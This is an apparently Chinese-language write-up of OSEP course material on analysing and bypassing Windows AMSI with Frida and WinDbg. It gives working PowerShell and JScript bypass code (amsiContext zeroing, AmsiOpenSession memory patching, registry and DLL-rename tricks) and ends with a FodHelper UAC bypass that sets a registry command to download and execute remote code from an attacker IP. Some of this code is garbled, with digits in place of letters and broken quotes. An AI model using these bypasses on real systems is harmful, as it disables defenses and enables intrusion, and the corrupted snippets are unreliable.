AMSI会对Windows PowerShell中执行的命令进行检查,并阻止恶意命令

本文根据OSEP中ADVANCED ANTIVIRUS EVASION中的方法,使用WinDbg和Frida,对AMSI进行分析和绕过

修改AMSI头绕过法

  1. 使用Frida Trace对PowerShell进程进行监控,并主要监控amsi.dll中以AMSI开头的函数调用,启动命令如下

    frida-trace -p 11708 -x amsi.dll -i Amsi*

    其中11708为PowerShell进程的PID号

  2. 在首次启动时,Frida会创建对应各个函数的Handler,我们可以通过修改Handler中的输出来获得更加详细的调用分析结果

    image-20210406204640077

    例如打开AmsiOpenSessions.js,在OnEnter函数中,我们可以进一步解析stateargs,例如获取调用Context的地址:

    image-20210406204855629

    OSEP中使用的Handler函数如下:

    image-20210406205137062

    image-20210406205156783

  3. 通过Frida的检测,我们可以发现在输入一个PowerShell命令时,依次调用了下图中的AMSI相关函数:

    image-20210406205748365

  4. 在WinDbg中,我们可以分析AmsiOpenSession中提供的Context地址,有意思的是,这个地址刚好以ASCII字符AMSI开头

    image-20210406205725351

  5. 通过对AmsiOpenSession的简单汇编指令分析可以发现,该函数使用了cmp指令比较前四个字节是否为AMSI,如果不是,则直接报错退出当前函数

    image-20210406210041764

  6. 测试在Windbg中直接修改上述四个字符,首先使用bp amsi!AmsiOpenSession在该函数中设置断点,使用g继续运行程序,在PowerShell中输入一个命令触发该断点,随后使用ed rcx 0将RCX寄存器清空,如下图所示

    image-20210406210502216

  7. 再次尝试运行诸如amsiutils等会被PowerShell拦截的命令,即可正常运行,表明AMSI已经被绕过,同时Frida中也检测不到和AMSI有关的进一步函数调用

    image-20210406210639439

  8. 使用PowerShell中的Reflection实现上述过程如下,执行后可以直接Bypass PowerShell中的AMSI

    $a=[Ref].Assembly.GetTypes()
    Foreach($b in $a){if ($b.Name -like "*iUtils"){$c=$b}}
    $d=$c.GetFields('NonPublic,Static')
    Foreach($e in $d){if ($e.Name -like "*Context"){$f=$e}}
    $g=$f.GetValue($null)
    [IntPtr]$ptr=$g
    [Int32[]]$buf=@(0)
    [System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

    修改汇编指令绕过法

该方法是通过调用Windows API,获取AmsiOpenSession的地址,然后对其第一条汇编指令进行修改,使得任意对于该函数的调用均会返回错误,但由于调用Windows API的相关方法已经被AMSI标记,因此该方法目前已经不可使用

具体实现代码如下

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null,@(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)),$functionName))
}

function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

[IntPtr]$funcAddr=LookupFunc amsi.dll AmsiOpenSession
$oldPretectionBuffer=0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect),(getDelegateType @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType())([Bool])))
$vp.Invoke($funcAddr,3,0x40,[ref]$oldPretectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$funcAddr,3)
$vp.Invoke($funcAddr,3,0x20,[ref]$oldPretectionBuffer)

其中,$vp即是对VirtualProtect函数的调用,调用的目的主要是将要修改的内存空间的属性从可读可执行,改为可读可写可执行,便于后面使用Copy对汇编代码进行修改,使用!vprot在Windbg中可以观察当前内存空间的保护情况

image-20210406211203987

JScript中的AMSI绕过

JScript的执行过程中同样会使用AMSI对我们的执行代码进行扫描,使用Frida Trace可以监测到相关API函数调用,为了便于实验,我们撰写下面的JS脚本:

WScript.Sleep(20000);
var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("calc")

然后使用Frida来跟踪其函数调用,可以发现在启动计算器时,程序调用了AmsiScanString来对我们的Shell命令进行扫描

image-20210406212136139

  1. 注册表绕过法

    即wscript会根据一个注册表键值来判断是否需要开启AMSI扫描,直接修改该键值即可绕过检测

    绕过代码如下

    var sh=new ActiveXObject('WScript.Shell');
    var key="HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
    try{
    var AmsiEnable=sh.RegRead(key);
    if(AmsiEnable!=0) {
    throw new Error(1,'');
    }
    } catch(e) {
    sh.RegWrite(key,0,"REG_DWORD");
    sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName,0,1);
    sh.RegWrite(key,1,"REG_DWORD");
    WScript.Quit(1);
    }

    接要执行的恶意代码
  2. 同名绕过法

    为了研究在AMSI加载时的DLL调用,我们使用Windbg附加参数的形式启动wscript.exe

    image-20210406214613167

    刚启动时,amsi.dll并未被加载

    image-20210406214723840

    为了能检查amsi.dll被加载的时间,我们针对DLL加载设置一个断点,使用sxe ld amsi,如下图所示,当amsi.dll被加载成功后,程序会暂停执行

    image-20210406214858111

    分析当前调用栈可知,LoadLibrary函数使用了amsi.dll作为加载的对象,但是不幸的是,调用的第三个参数被指定为0x800,即强制指定的优先加载System32中的DLL

    image-20210406215633193

    image-20210406215617901

    image-20210406215718883

    虽然使用amsi需要加载amsi.dll,但是由于在加载时强制指定的优先加载System32中的DLL,我们没有办法实现DLL hijacking攻击,但是如果我们将wscript.exe修改为amsi.dll再进行加载,即可在Loadlibrary时无法正常加载amsi.dll,达到绕过AMSI的效果

    具体实现代码如下:

    var filesys= new ActiveXObject("Scripting.FileSystemObject");
    var sh=new ActiveXObject('WScript.Shell');

    try{
    if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll")==0)
    {
    throw new Error(l, ");
    }
    }catch(e){
    filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", “C:\\Windows\\Tasks\\AMSI.dll");
    sh.Exec("C:\\Windows\\Tasks\\AMSI.dll e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName);
    WScript.Quit(l);
    }

    接要执行的恶意代码

PowerShell+FodHelper Bypass UAC

ForHelper在启动时会查询一个注册表键值的数值,并启动对应的程序,这是一种ByPass UAC 的常见方法,使用PowerShell我们可以直接设置这个注册表键值,并将其设置为远程下载代码的ShellCode Loader,即可实现ByPass UAC

New-Item-Path HKCU\Software\C1asses\ms-settings\shell\open\command -Value "powershe11.exe(New-Object System.Net.Webc1ient).Down1oad String('http://192.168.119.120/run.txt') |IEX" -Force
New-Item Property-Path HKCU\Software\Classes\ms-settings\shell\open\command -Name De1egateExecute -PropertyType String -Force
C:\Windows\System32\fodhe1per.exe

但在MSF下发Stage时,会被Windows Defender拦截,因此我们可以使用MSF自带的Stage Encoder来解决问题

image-20210406220501412